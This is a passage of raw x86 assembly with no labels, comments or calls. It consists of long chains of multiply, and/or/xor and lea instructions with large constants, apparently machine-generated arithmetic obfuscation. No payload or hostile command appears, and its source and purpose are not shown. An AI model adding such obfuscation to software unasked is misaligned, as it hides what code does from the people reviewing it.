and edi, 0xdc3a0320
sub edi, edx
mov edx, 0x5f576e96
sub edx, eax
and edx, 0x23c5fcdf
lea ebx, [eax - 0x3b1b0279]
sub edx, ebx
add edx, esi
or ecx, 0xdc3a0320
add ecx, edx
mov edx, 0x3f8990c3
sub edx, edi
lea esi, [edi - 0x3f8990c4]
lea edi, [eax + ecx]
add edi, 0xc4e4fd89
mov ebx, esi
and ebx, edi
and edx, edi
add edx, ebx
add edx, edi
xor edi, esi
add edi, edx
add ecx, eax
add ecx, 0xc4e4fd87
mov edx, 0x7ffffffd
sub edx, ecx
or edx, esi
lea ecx, [edi + edx*2]
lea edx, [edi + edx*2]
add edx, 2
mov esi, 0x1f576e96
sub esi, eax
or edx, esi
lea eax, [edx + ecx]
add eax, 2
mov edx, 0xfffffffd
sub edx, ecx
or edx, esi
add edx, eax
imul eax, edx, 0xf880324f
lea ecx, [eax - 0x77fcdb1]
mov edx, 0x77fcdb0
sub edx, eax
and edx, 0xcb09df88
or ecx, 0x34f62077
add ecx, edx
add eax, ecx
add eax, 0xc38a11d8
imul ecx, eax, 0x83eda4af
mov edx, 0xa7daedf7
sub edx, ecx
imul esi, eax, 0xf824b6a2
lea edi, [esi + 0x4fb5dbee]
and edx, edi
add edx, ecx
add edx, 0x58251208
add ecx, 0x58251208
mov edi, 0xb04a2411
sub edi, esi
or edi, ecx
add edx, esi
lea ecx, [edx + edi]
add edx, edi
add edx, 0x4fb5dbef
imul eax, eax, 0x7db495e
lea edi, [eax + esi]
add eax, esi
add eax, 1
lea ecx, [edi + ecx*2]
add ecx, 0x9f6bb7df
xor eax, edx
not eax
add eax, ecx
xor edi, 0xfffffffe
add eax, edi
or edi, edx
add edi, edi
sub eax, edi
lea ecx, [eax + 0x6243ed2c]
mov edx, ecx
and edx, 0x6243ed2b
add edx, eax
add edx, 0x6243ed2c
mov esi, 0x9dbc12d3
sub esi, eax
and esi, 0x9dbc12d4
add esi, edx
xor ecx, 0x6243ed2b
lea eax, [esi + ecx]
mov dword [esp + 8], eax
lea ebp, [ecx + esi]
add ebp, 0x9dbc12d5
mov edi, dword [esp + 4]
mov ebx, edi
not ebx
mov dword [esp + 0x30], ebx
lea eax, [ebx + ebx*2]
lea ecx, [eax + edi*2]
lea eax, [eax + edi*2]
add eax, 2
lea edx, [ecx + ecx]
add edx, 5
mov esi, eax
sub esi, edx
sub edx, eax
not eax
lea eax, [eax + ecx*2]
add eax, 5
lea ecx, [edi + ebx*2]
add ecx, 1
and esi, ecx
add esi, eax
add esi, ecx
or eax, ecx
not eax
add eax, esi
add edx, eax
lea eax, [edi + edx]
add eax, 1
imul ecx, eax, 0xd8639355
imul eax, eax, 0xb0c726aa
mov edx, ecx
xor edx, 0x71da8b1e
add edx, eax
mov eax, ecx
or ecx, 0x71da8b1e
sub edx, ecx
not eax
or eax, 0x71da8b1e
add eax, edx
imul ecx, eax, 0x3f13d1fd
lea eax, [ecx + 0x5a37055a]
mov edx, eax
or edx, 0x1b23335c
add ecx, edx
add ecx, 0x5a37055a
mov edx, eax
xor edx, 0xe4dccca3
add edx, ecx
not eax
or eax, 0xe4dccca3
lea edi, [eax + edx]
add edi, 0xe4dccca5
mov dword [esp + 0xc], edi
mov esi, edi
not esi
mov ecx, ebp
mov dword [esp + 0x44], ebp
and ebp, esi
mov dword [esp + 0xa4], ebp
xor ecx, esi
add ecx, ecx
sub ebp, ecx
mov ecx, 0x6243ed2a
sub ecx, dword [esp + 8]
and edi, ecx
sub ebp, edi
sub ebp, edi
or ecx, dword [esp + 0xc]
lea ebx, [ecx*2]
add ebx, ebp
mov dword [esp + 0x14], ebx
lea ebp, [ebx + ebx*2]
add ebp, edi
mov ebx, dword [esp + 0x14]
or ebx, edi
sub ebp, ebx
not ebx
add ebx, ebp
not edi
or edi, dword [esp + 0x14]
add edi, edi
sub ebx, edi
lea edi, [edx + eax]
add eax, edx
add eax, 0xe4dccca4
lea edx, [ebx - 1]
and eax, edx
mov edx, 0x1b23335b
sub edx, edi
mov dword [esp + 0x14], edi
add eax, ebx
add eax, 0xffffffff
neg ebx
or ebx, edx
mov ebp, dword [esp + 0xc]
sub eax, ebp
lea edx, [eax + ebx]
mov dword [esp + 0xa0], edx
add eax, ebx
add eax, 1
mov dword [esp + 0x9c], eax
mov eax, dword [esp + 0xa4]
lea edi, [edi + eax*2]
add edi, 0xe4dccca5
mov edx, dword [esp + 0x44]
mov eax, edx
xor eax, ebp
mov ebx, ebp
mov ebp, eax
not ebp
add ebp, edi
or esi, edx
mov edi, edx
sub ebp, esi
mov esi, 0xfffffffe
mov edx, dword [esp + 0xa0]
sub esi, edx
and esi, ebp
add edx, ebp
add edx, 1
not ebp
or ebp, dword [esp + 0x9c]
add ebp, esi
mov esi, ebp
not esi
add esi, edx
sub ebp, edx
and ebp, ecx
lea edx, [esi*2]
add edx, ebp
add edx, ecx
or esi, ecx
sub edx, esi
mov ecx, edi
and ecx, ebx
mov edi, dword [esp + 8]
lea ecx, [ecx + edi*2]
add ecx, 0x3b7825aa
mov esi, 0x2243ed2a
sub esi, edi
and esi, ebx
lea ecx, [ecx + esi*4]
mov esi, dword [esp + 0x14]
add esi, esi
add esi, 0xc9b9994a
sub ecx, esi
add eax, eax
sub ecx, eax
lea eax, [edx + ecx*2]
add eax, 2
add ecx, 1
mov esi, edx
or esi, ecx
not esi
add esi, eax
not edx
or edx, ecx
sub esi, edx
lea eax, [esi + 0x12c42079]
mov ecx, eax
xor ecx, 0xed3bdf87
add ecx, esi
mov edx, eax
or edx, 0xed3bdf87
sub ecx, edx
or eax, 0x12c42078
lea edx, [ecx + eax]
mov esi, 0x12c42077
sub esi, edx
lea edi, [ecx + eax]
add edi, 0xed3bdf87
mov ebx, edi
not ebx
mov ebp, esi
and ebp, ebx
add ebp, esi
xor esi, edi
add ebp, ebx
sub ebp, esi
add eax, ecx
add eax, 0xed3bdf88
lea ecx, [edx + ebp]
add ecx, 0xed3bdf87
or eax, ebx
lea esi, [ecx + eax]
add eax, ecx
add eax, 2
lea ecx, [edx + edx]
add ecx, 0xda77bf0e
mov edi, 0xfffffffb
sub edi, ecx
lea ecx, [esi + edx*2]
add ecx, 0xda77bf14
lea esi, [edx + edx]
add esi, 0xda77bf12
mov ebp, eax
or ebp, esi
not ebp
add ebp, ecx
xor esi, eax
add esi, ebp
lea ecx, [esi + edx*2]
add ecx, 0xda77bf0e
or edi, eax
add edi, ecx
add edi, ebx
imul eax, edi, 0x4a8ec625
lea ecx, [eax - 0x2053ad91]
and ecx, 0x6802bba6
add ecx, eax
add ecx, 0xdfac526f
mov edx, 0xa053ad90
sub edx, eax
and edx, 0x6802bba6
add edx, ecx
imul eax, edx, 0x55a1e5ad
mov ecx, dword [esp + 0x18]
add ecx, ecx
add ecx, 4
sub ecx, dword [esp + 0x34]
imul ecx, ecx, 0x71dea637
lea edx, [ecx - 0x4d879159]
mov esi, edx
xor esi, 0x2c8df50d
add ecx, esi
add ecx, 0xb2786ea7
xor edx, 0xd3720af2
add edx, ecx
imul ecx, edx, 0xd85fef87
lea edx, [ecx - 0x3929b39e]
mov esi, edx
and esi, 0x6e765cda
add esi, esi
neg esi
add esi, ecx
add esi, 0xc6d64c62
xor edx, 0x1189a325
add edx, esi
lea esi, [ecx + edx]
add ecx, edx
add ecx, 0xc6d64c62
lea edx, [eax + 0x22e5b2d2]
lea edi, [esi + esi]
add edi, 0x8dac98c4
mov ebx, edi
or ebx, edx
add ebx, eax
add ebx, 0x22e5b2d2
mov ebp, 0xdd1a4d2d
sub ebp, eax
or edi, ebp
add edi, ebx
mov ebx, ecx
xor ebx, edx
sub edi, ebx
mov ebx, ecx
or ebx, ebp
lea eax, [eax + ebx*2]
mov ebx, 0x3929b39d
sub ebx, esi
or ebx, ebp
add eax, ebx
add eax, 0x22e5b2d3
mov esi, eax
not esi
lea esi, [edi + esi*2]
add esi, eax
and ecx, edx
sub esi, ecx
add esi, 1
imul eax, esi, 0x4fcae371
xor eax, 0xe58050db
imul ecx, esi, 0x9f95c6e2
or ecx, 0x34ff5e48
add ecx, eax
imul ecx, ecx, 0x7bf77d91
mov eax, 0x269b49d2
sub eax, ecx
mov esi, 0xa292c763
sub esi, eax
sub esi, eax
mov edx, 0xa69b49d2
sub edx, ecx
and edx, 0x7b36bcef
add edx, ecx
add edx, 0x7bf77d91
mov edi, edx
not edi
add edi, esi
mov ebx, edx
sub ebx, esi
and ebx, 0x7b36bcef
or edi, 0x84c94310
add edi, ebx
sub esi, edx
add esi, edi
lea edx, [ecx - 0x269b49d3]
mov edi, edx
xor edi, 0x7b36bcef
lea ebx, [ecx + ecx]
add ebx, 0xb2c96c5a
mov ebp, ebx
xor ebp, 0xf66d79df
add ebp, edi
xor ebx, 0x9928621
add ebx, ebp
add ebx, esi
and edx, 0x7b36bcef
add edx, ecx
add edx, 0x7bf77d91
mov esi, eax
or esi, 0x7b36bcef
add esi, edx
add ecx, 0x7bf77d91
or eax, 0x84c94310
add eax, esi
sub eax, ecx
add eax, ebx
add eax, 0x7b36bcf1
imul ecx, eax, 0xbfe036db
imul eax, eax, 0x7fc06db6
mov edx, ecx
xor edx, 0xe51d58ff
add edx, eax
add ecx, ecx
or ecx, 0xca3ab1fe
sub edx, ecx
imul eax, edx, 0x1d1ed553
lea ecx, [eax + 0x8e40b5a]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x47205ac
add eax, esi
add eax, 0x8e40b5a
and edx, 0xfb8dfa53
add edx, eax
xor ecx, 0x47205ac
lea ebp, [edx + ecx]
lea eax, [ecx + edx]
add eax, 0xfb8dfa54
imul ecx, dword [esp + 4], 0x5f1f4cc3
mov edx, ecx
not edx
and edx, 0x599eb050
add edx, ecx
or ecx, 0xa6614faf
add ecx, edx
add ecx, 0x599eb051
imul edx, ecx, 0x6ebb3c15
mov edi, edx
and edi, 0x4a38c970
add edi, edi
mov ebx, edx
sub ebx, edi
mov edi, edx
or edi, 0x4a38c970
add edi, ebx
imul ebx, ecx, 0xdd76782a
xor ebx, 0x6b8e6d1e
add ebx, edi
not edx
or edx, 0x4a38c970
sub ebx, edx
mov edx, 0x6b8e6d1f
sub edx, ebx
lea ecx, [ebx - 0x6b8e6d20]
and ecx, eax
mov dword [esp + 8], eax
lea edi, [ecx + ebp]
add edi, 0xfb8dfa54
mov esi, 0x47205ab
mov ecx, ebp
mov dword [esp + 0x14], ebp
sub esi, ebp
mov ebp, esi
and ebp, edx
add ebp, edi
xor edx, eax
add edx, ebx
add edx, 0x947192e1
sub ebp, edx
lea edi, [ebx - 0x6b8e6d1f]
mov eax, 0x847205ab
sub eax, ecx
mov edx, dword [esp + 8]
or edx, edi
add ecx, edx
add ecx, 0xfb8dfa54
add ecx, eax
mov dword [esp + 0xc], ecx
mov ebx, eax
and eax, edi
or ebx, edi
sub ebx, eax
lea ecx, [ebx + ebx]
add ecx, 2
mov eax, ecx
not eax
and eax, ebp
lea eax, [eax*2]
add eax, ebp
lea eax, [eax + ebx*2 + 2]
mov ebx, ebp
not ebx
lea eax, [eax + ebx*2]
and ebp, ecx
lea ecx, [eax + ebp*2]
mov dword [esp + 0x18], ecx
lea ecx, [eax + ebp*2]
add ecx, 2
mov eax, dword [esp + 0xc]
lea ebp, [eax + eax]
add ebp, 4
mov eax, ecx
and eax, ebp
mov ebx, dword [esp + 0x18]
add eax, ebx
add eax, 2
mov ebx, dword [esp + 0xc]
lea eax, [eax + ebx*2]
add eax, 4
mov ebx, ecx
xor ebx, ebp
add ebx, eax
or ecx, ebp
sub ebx, ecx
mov eax, dword [esp + 8]
and eax, edi
and esi, edi
add esi, eax
not edx
add edx, esi
mov esi, dword [esp + 0x30]
mov ebp, dword [esp + 4]
lea eax, [esi*2]
add eax, ebp
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
add eax, edx
add eax, 0xfb8dfa55
not eax
lea eax, [ebx + eax*2]
imul edi, eax, 0x70c0bd27
mov ecx, edi
or ecx, 0x89068044
lea edx, [ecx + edi]
add ecx, ecx
sub edx, ecx
and edi, 0x76f97fbb
add edi, edx
mov eax, dword [esp + 0x20]
lea ecx, [eax + 0x450bcd10]
mov edx, 0xbaf432ef
sub edx, eax
and edx, 0xbaf432ee
lea eax, [edx + eax*2]
add eax, 0x450bcd0e
mov dword [esp + 8], eax
or ecx, 0xbaf432ee
mov dword [esp + 0xc], ecx
sub eax, ecx
lea edx, [esi*2 - 0x1bb23fcd]
add edx, ebp
mov ebx, edx
xor ebx, 0x1bb23fce
add ebx, dword [esp + 0x18]
mov ebp, edx
or ebp, 0x1bb23fce
sub ebx, ebp
or edx, 0xe44dc031
lea ecx, [ebx + edx]
mov dword [esp + 4], ecx
lea ebp, [ebx + edx]
add ebp, 0x1bb23fd0
mov edx, eax
and edx, ebp
mov ecx, eax
or ecx, ebp
lea ebx, [edx + eax*2]
sub ebx, ecx
mov esi, eax
xor esi, ebp
add esi, ecx
sub ecx, esi
not edx
add edx, ecx
add edx, ebx
mov ecx, dword [esp + 0xc]
mov ebx, dword [esp + 4]
add ecx, ebx
mov esi, 0xe44dc02f
sub esi, ebx
imul edi, edi, 0xaa8ce297
mov dword [esp + 4], edi
mov ebx, dword [esp + 8]
sub ebx, ecx
mov edi, eax
xor edi, esi
add edi, ebx
add edi, ebp
not eax
or eax, esi
add eax, edi
add eax, eax
sub edx, eax
imul eax, edx, 0xcf2ef703
lea edx, [eax + 0x7e83f9d7]
mov esi, edx
not esi
and esi, 0x26298a32
add esi, eax
mov eax, edx
xor eax, 0xd9d675cd
add eax, esi
or edx, 0x26298a32
add eax, edx
add eax, 0x3230e573
imul edx, eax, 0xb636abab
imul eax, eax, 0x6c6d5756
mov esi, eax
not esi
and esi, 0x4ba2c222
add esi, eax
mov eax, edx
xor eax, 0x5a2e9eee
add eax, esi
not edx
mov esi, edx
and esi, 0x5a2e9eee
add esi, eax
or edx, 0xa5d16111
sub esi, edx
lea eax, [esi - 0x5a2e9eee]
mov edx, eax
not edx
lea edi, [esi + edx*2]
add edi, 0xa5d16112
lea ebx, [esi + edi]
add ebx, 0xa5d16112
add esi, edi
add esi, 0xa5d16113
or edx, esi
xor esi, eax
add esi, edx
mov edx, 0xfffffffe
sub edx, ebx
or edx, eax
add edx, esi
sub edi, edx
lea eax, [edi - 2]
and edi, 1
mov edx, eax
xor edx, 1
add edx, edi
or eax, 0xfffffffe
add eax, edx
imul eax, eax, 0x276c894b
add eax, 0x4ed91296
mov edx, eax
and edx, 0x6cbd7888
add edx, edx
mov esi, eax
sub esi, edx
not eax
add eax, eax
or eax, 0x26850eee
sub esi, eax
add esi, 0x93428777
imul eax, esi, 0x946bb863
imul edx, esi, 0x28d770c6
sub edx, eax
add edx, 0xa853a435
lea edi, [edx + edx*2]
mov ebx, edx
not ebx
add ebx, edi
sub ebx, edx
add ebx, eax
imul eax, esi, 0x6b94479d
lea edx, [ebx + eax]
add eax, ebx
add eax, 1
mov esi, eax
not esi
lea edx, [esi + edx*2]
add edx, 2
mov esi, edx
and esi, 0xfffffffe
add esi, edx
and eax, 1
add eax, esi
xor edx, 0xfffffffe
lea esi, [eax + edx]
add eax, edx
add eax, 0x11d4cf27
mov edx, eax
and edx, 0xee2b30db
add edx, esi
add edx, 0x11d4cf27
mov esi, eax
or esi, 0xee2b30db
sub esi, edx
xor eax, 0x11d4cf24
add eax, esi
add eax, 0x11d4cf26
mov ecx, dword [esp + 4]
lea edx, [ecx - 0x22be4fe4]
mov esi, eax
not esi
and esi, edx
add esi, ecx
add esi, 0xdd41b01c
mov edi, 0x22be4fe3
sub edi, ecx
and edi, eax
add edi, esi
add edi, eax
xor edx, eax
sub edi, edx
mov eax, 0x6960ffea
sub eax, edi
mov ecx, eax
and ecx, 0x6960ffeb
add ecx, edi
and eax, 0x969f0014
add eax, ecx
add eax, edi
add eax, 0x969f0016
imul ecx, eax, 0x5c1a0593
imul edx, eax, 0xa3e5fa6d
add edx, ecx
add edx, ecx
shl edx, 2
imul ecx, eax, 0xebb1ef47
mov esi, edx
not esi
and esi, ecx
mov edi, edx
sub edi, esi
mov esi, ecx
not esi
or esi, edx
add esi, esi
sub edi, esi
and edx, ecx
add edx, edi
imul eax, eax, 0x47cbf4da
add eax, edx
add eax, 0xfffffffe
imul ecx, eax, 0xfd881fab
mov edx, ecx
not edx
imul eax, eax, 0xfb103f56
mov esi, ecx
xor esi, 0x9ad0dd10
add esi, eax
or ecx, 0x9ad0dd10
sub esi, ecx
or edx, 0x9ad0dd10
add edx, esi
imul eax, edx, 0x92f9e303
lea ecx, [eax - 0x2907c730]
mov edx, ecx
or edx, 0x43fe55cc
add eax, edx
add eax, 0xd6f838d0
mov edx, ecx
xor edx, 0xbc01aa33
add edx, eax
not ecx
or ecx, 0xbc01aa33
lea eax, [edx + ecx]
add ecx, edx
add ecx, 0xbc01aa35
not ecx
lea edx, [eax + eax]
add edx, 0x7803546a
mov esi, edx
xor esi, 0xf8235860
add eax, esi
add eax, 0xbc01aa35
or edx, 0x7dca79e
add edx, eax
add ecx, ecx
or ecx, 0xf8235860
lea eax, [edx + ecx]
add ecx, edx
add ecx, 0x958529cb
and ecx, 0x2e692a08
lea edx, [ecx + eax]
add edx, 0x83ee53d3
not edx
add edx, ecx
lea ecx, [eax + edx*2]
add ecx, 0x83ee53d3
lea eax, [eax + edx*2]
add eax, 0x85f76f12
mov edx, 0xfdf6e4c0
sub edx, ecx
and edx, 0xfdf6e4c3
lea ecx, [edx + ecx*2]
add ecx, 0x412367e
or eax, 0xfdf6e4c3
sub ecx, eax
imul eax, ecx, 0x85eae09b
lea ecx, [eax + 0x35e52211]
mov edx, ecx
xor edx, 0xae6ad429
add edx, eax
add edx, 0x35e52211
mov esi, ecx
or esi, 0xae6ad429
mov edi, ecx
or edi, 0x51952bd6
add edi, esi
not esi
add esi, edx
add eax, esi
add eax, 0x35e52211
sub eax, edi
mov edx, ecx
xor edx, 0x51952bd6
and ecx, 0x51952bd6
add ecx, edx
add ecx, eax
imul eax, ecx, 0x121b8bb1
lea ecx, [eax + 0x121b8bb1]
mov edx, ecx
and edx, 0x4f698abc
add eax, edx
add eax, 0x121b8bb1
or ecx, 0xb0967543
sub eax, ecx
imul eax, eax, 0x9201dd51
lea ecx, [eax - 0x23ce1d9a]
mov edx, ecx
and edx, 0x91e70ecd
add eax, edx
add eax, 0xdc31e266
mov edx, ecx
xor edx, 0x91e70ecd
add edx, eax
not ecx
or ecx, 0x91e70ecd
lea eax, [edx + ecx]
add ecx, edx
add ecx, 1
mov edx, ecx
not edx
and edx, 0x6f2821aa
add edx, eax
mov eax, ecx
xor eax, 0x90d7de55
add eax, edx
or ecx, 0x6f2821aa
add eax, ecx
add eax, 0x21afbcad
imul ecx, eax, 0xf1295c8f
imul eax, eax, 0xe252b91e
mov edx, eax
not edx
and edx, 0x7fa1af8a
add edx, eax
mov eax, ecx
xor eax, 0xc02f283a
add eax, edx
not ecx
mov edx, ecx
and edx, 0xc02f283a
add edx, eax
or ecx, 0x3fd0d7c5
sub edx, ecx
imul eax, edx, 0xe98c426f
lea ecx, [eax - 0x46896526]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xcfea586a
add eax, esi
add eax, 0xb9769ada
and edx, 0x3015a795
add edx, eax
xor ecx, 0xcfea586a
lea eax, [edx + ecx]
add ecx, edx
add ecx, 0x3015a796
mov edx, ecx
and edx, 0xae6ad429
lea esi, [eax + eax]
add esi, 0x602b4f2c
mov edi, esi
sub edi, edx
add edi, 0x5cd5a852
mov edx, ecx
xor edx, 0xae6ad429
mov ebx, ecx
or ebx, 0xae6ad429
add ebx, edx
xor esi, 0xa32a57ac
add esi, ebx
or ecx, 0x51952bd6
mov edx, 0x4fea5869
sub edx, eax
or edx, 0xae6ad429
add edx, ecx
sub edx, esi
mov eax, edi
and eax, edx
xor edx, edi
add edx, eax
add edx, eax
imul eax, edx, 0x8b80557
mov ecx, eax
or ecx, 0xd66ecaaa
or eax, 0x29913555
add eax, ecx
imul eax, eax, 0x52e6b667
add eax, 0xe64b1ccd
mov ecx, eax
and ecx, 0x13646665
add ecx, ecx
mov edx, eax
sub edx, ecx
not eax
add eax, eax
or eax, 0xd9373334
sub edx, eax
lea eax, [edx + 0x6c9b9998]
mov dword [esp + 4], eax
mov ebx, edx
lea ecx, [eax + eax*2]
mov edx, ecx
and edx, 0xc24784cb
mov esi, edx
xor esi, 0xc24784cb
add esi, edx
mov eax, ecx
and eax, 0x3db87b34
add esi, eax
sub esi, ecx
mov edi, ecx
or edi, 0x3db87b34
add edi, esi
add edi, edx
lea edx, [ebx + ebx]
add edx, 0xd9373330
mov dword [esp + 0x14], edx
mov esi, ebx
lea edx, [edx + edx*2]
mov ebx, edx
not ebx
add ebx, ecx
and ebx, 0xc24784cb
lea ebp, [edi + ebx]
add ebx, edi
add ebx, 1
mov edi, ebx
xor edi, 0xc24784ca
lea ebp, [edi + ebp*2]
add ebp, 2
mov edi, ebx
not edi
or edi, 0xc24784ca
add edi, ebp
or ebx, 0xc24784ca
add ebx, eax
sub edi, ebx
mov eax, ecx
add edi, ecx
or ecx, 0xc24784cb
mov ebx, edx
xor ebx, 0x7b70f668
add ebx, ecx
not eax
or edx, 0x848f0996
add edx, ebx
add eax, eax
or eax, 0x7b70f668
add eax, edx
lea ecx, [edi + eax]
add eax, edi
add eax, 0x3db87b3a
mov edx, eax
not edx
mov edi, eax
and edi, 0xc24784ca
lea ecx, [ecx + edi*2]
add ecx, 0x3db87b3a
mov edi, eax
xor edi, 0xc24784ca
add edi, ecx
and edx, 0xc24784ca
add edx, edi
or eax, 0xc24784ca
sub edx, eax
imul eax, edx, 0xa1bb8871
add eax, 0xf9b4c2ab
imul ecx, eax, 0xf2a0c76f
imul eax, eax, 0x1abe7122
lea edx, [eax + ecx]
mov dword [esp + 0x18], edx
add eax, ecx
add eax, 0x95044b90
mov dword [esp + 8], eax
mov eax, 0x93646666
sub eax, esi
mov edi, eax
and edi, 0xfffffffe
lea ebx, [esi + 0x6c9b999a]
mov dword [esp + 0x20], esi
sub edi, ebx
not ebx
and ebx, 1
add ebx, edi
xor eax, 0xfffffffe
add eax, ebx
imul eax, eax, 0x651d0469
lea edi, [eax - 0x35c5f72e]
mov ebx, edi
xor ebx, 0x3cdc88a9
add ebx, eax
lea ebp, [eax + eax]
add ebp, 0x947411a4
xor ebp, 0x8646eeac
add ebp, ebx
mov ebx, 0x35c5f72d
sub ebx, eax
or edi, 0xc3237756
or ebx, 0x3cdc88a9
add ebx, edi
sub ebp, ebx
imul edi, ebp, 0xeba8cbd9
add edi, 0x4935da43
mov eax, edi
and eax, 0xb6ca25bf
xor edi, 0xb6ca25bf
add edi, eax
add edi, eax
lea ebp, [esi + esi]
add ebp, 0xd9373334
mov eax, 2
sub eax, ebp
mov dword [esp + 0xc], eax
sub ebp, dword [esp + 0x14]
imul eax, ebp, 0xbc870711
add eax, 0xde3e3bc
mov esi, eax
or esi, 0x767288c7
or eax, 0x898d7738
add eax, esi
imul edx, eax, 0x56f6c9f1
lea eax, [edx + 0x56f6c9f1]
xor eax, edi
lea ebp, [edx + 0x56f6c9f2]
mov ecx, eax
and ecx, ebp
mov esi, eax
or esi, ebp
not esi
lea esi, [esi + esi*2]
sub ecx, esi
lea esi, [edx + eax]
xor eax, ebp
not eax
add eax, ecx
sub eax, esi
mov ecx, 0xa909360e
sub ecx, edx
or ecx, edi
add ecx, eax
imul eax, ecx, 0xd3cbf633
mov ecx, 0x39b6b39b
sub ecx, eax
and ecx, 0x65115df1
lea edx, [eax + 0x46494c64]
or edx, 0x9aeea20e
add edx, ecx
add eax, edx
add eax, 0xab5aaa56
imul ecx, eax, 0xb0d00b05
imul eax, eax, 0x9e5fe9f6
lea edx, [eax + ecx]
add eax, ecx
add eax, 0xbc3030b5
lea ecx, [edx + edx]
add ecx, 0x7860616a
sub eax, ecx
imul eax, eax, 0xe8a556bd
lea ecx, [eax + 0x175aa943]
mov edx, ecx
not edx
mov esi, edx
and esi, 0xa2ddcaca
add eax, esi
add eax, 0x175aa943
xor ecx, 0x5d223535
add ecx, eax
or edx, 0xa2ddcaca
sub ecx, edx
add ecx, 0xa2ddcaca
imul eax, ecx, 0xd2b0d495
imul ecx, ecx, 0xa561a92a
mov edx, ecx
and edx, 0x2bcc9f22
add edx, eax
not eax
lea eax, [edx + eax*2]
and ecx, 0xd43360dc
lea esi, [ecx + eax]
add esi, 0x6a19b070
mov eax, dword [esp + 0x68]
mov dword [esp + 0x14], eax
mov ecx, eax
not ecx
mov dword [esp + 0x34], ecx
lea ecx, [eax + ecx*2]
imul ecx, ecx, 0x73d70e9d
lea edx, [ecx + 0x73d70e9d]
not edx
mov ebp, edx
and ebp, 0x112153da
add ebp, ecx
add ebp, 0x73d70e9d
and edx, 0xeedeac25
add edx, ebp
add ecx, edx
add ecx, 0x73d70e9d
imul ecx, ecx, 0x90dfe7b5
lea edx, [ecx + 0x6affe6d7]
mov ebp, edx
and ebp, 0xda1fff21
add ecx, ebp
add ecx, 0x6affe6d7
mov eax, edx
and eax, 0x25e000de
mov ebp, eax
xor ebp, 0x25e000de
add ebp, ecx
not edx
or edx, 0x25e000de
add edx, ebp
lea ecx, [edx + eax]
add eax, edx
add eax, 1
mov edx, esi
not edx
and edx, eax
add ecx, edx
add ecx, 1
mov edx, esi
or edx, eax
sub edx, ecx
mov ecx, eax
not ecx
or ecx, esi
add ecx, ecx
sub edx, ecx
and esi, eax
lea eax, [esi + edx]
lea ecx, [esi + edx]
add ecx, 0xb0d0078b
mov edx, ecx
xor edx, 0xb0d0078c
lea eax, [edx + eax*2]
add eax, 0x61a00f16
mov edx, ecx
or edx, 0xb0d0078c
sub eax, edx
and ecx, 0x4f2ff873
mov edx, ecx
not edx
add edx, eax
add edx, 0x4f2ff874
add eax, 0x4f2ff874
mov esi, eax
sub esi, ecx
sub ecx, eax
lea eax, [esi + ecx*2]
mov esi, edx
and esi, eax
add edx, esi
add edx, eax
sub edx, esi
mov eax, ecx
not eax
lea esi, [edx + 1]
and eax, esi
add eax, edx
add eax, 1
mov esi, 0xfffffffe
sub esi, edx
add eax, ecx
or esi, ecx
add esi, eax
imul eax, esi, 0x23128fed
lea ecx, [eax + 0x23128fed]
mov edx, ecx
and edx, 0xe74be1e1
lea eax, [eax + edx*2]
add eax, 0x23128fed
mov edx, ecx
xor edx, 0x674be1e1
add edx, eax
mov eax, ecx
not eax
and eax, 0x674be1e1
add eax, edx
or ecx, 0x674be1e1
sub eax, ecx
imul eax, eax, 0x14f825e5
add eax, 0x3b816cbb
imul ecx, eax, 0x79cb16ec
not ecx
and ecx, 0x834b6edc
imul edx, eax, 0x1b585131
add ecx, edx
imul eax, eax, 0xbce58b76
xor eax, 0x3e5a4890
add eax, ecx
imul ecx, eax, 0xce08ddcc
mov edx, 0x2c66610
sub edx, ecx
lea esi, [ecx - 0x2c66610]
mov ebp, edx
or ebp, esi
and edx, esi
add edx, ebp
imul eax, eax, 0x63ee4468
add eax, edx
add eax, ecx
add eax, 0x2c6660f
and eax, 0xfffffffe
add eax, 2
imul ecx, eax, 0x33126282
mov edx, ecx
not edx
and edx, 0x1faf62be
add edx, ecx
imul eax, eax, 0x99893141
mov ecx, eax
xor ecx, 0x70284ea0
add ecx, edx
not eax
mov edx, eax
and edx, 0x70284ea0
add edx, ecx
or eax, 0x8fd7b15f
sub edx, eax
imul eax, edx, 0x47c5ec1
lea ecx, [eax + 0xf3df960]
mov edx, ecx
and edx, 0xac19a9e
add eax, edx
add eax, 0xf3df960
mov edx, ecx
not edx
and edx, 0xf53e6561
add edx, eax
xor ecx, 0xac19a9e
lea esi, [edx + ecx]
lea ebp, [ecx + edx]
add ebp, 0xf53e6562
mov ecx, 0xac19a9e
sub ecx, esi
mov ebx, dword [esp + 8]
mov eax, ebx
and eax, ecx
mov edx, dword [esp + 0x18]
add edx, eax
add edx, 0x95044b90
mov eax, ebx
not eax
and ecx, eax
add ecx, edx
mov edx, ebx
or edx, ebp
sub ecx, edx
mov edi, 0xac19a9d
sub edi, esi
mov edx, ebx
or edx, edi
or eax, ebp
add edx, eax
mov esi, edx
not esi
mov ebx, ecx
and ebx, esi
add ebx, esi
xor esi, ecx
add esi, ebx
or edx, ecx
lea ecx, [esi + edx]
add edx, esi
add edx, 1
mov esi, dword [esp + 8]
and ebp, esi
and edi, esi
add edi, edi
sub ebp, edi
add eax, eax
not eax
add eax, ebp
lea ecx, [eax + ecx*2]
add ecx, 2
mov esi, edx
not esi
or esi, eax
add esi, ecx
and eax, edx
not eax
lea ecx, [esi + eax]
add eax, esi
add eax, 2
mov edx, 0xfffffffd
sub edx, ecx
and edx, 0xfffffffe
or eax, 1
add eax, edx
add eax, ecx
add ecx, ecx
add ecx, 4
sub ecx, eax
imul eax, ecx, 0xc9d900a3
lea ecx, [eax + 0xec2fcd1]
mov edx, ecx
xor edx, 0xdd2ea972
add eax, edx
add eax, 0xec2fcd1
xor ecx, 0x22d1568d
add ecx, eax
imul eax, ecx, 0xcb89b30b
lea ecx, [eax + 0x107b0f1]
mov edx, ecx
and edx, 0x357dfde5
add edx, edx
neg edx
add edx, eax
add edx, 0x107b0f1
xor ecx, 0xca82021a
add ecx, edx
add ecx, eax
mov eax, 0xfef84f11
sub eax, ecx
mov edx, eax
or edx, 0xfffffffe
add edx, eax
or ecx, 0xfffffffe
add ecx, edx
imul eax, ecx, 0x801be3e3
mov ecx, 0x7fe41c1c
sub ecx, eax
and ecx, 0xaf853805
lea edx, [eax - 0x7fe41c1d]
or edx, 0x507ac7fa
add edx, ecx
add edx, eax
mov edi, dword [esp + 0x14]
lea eax, [edi + 0x3625d7a1]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc9da285f
add esi, edi
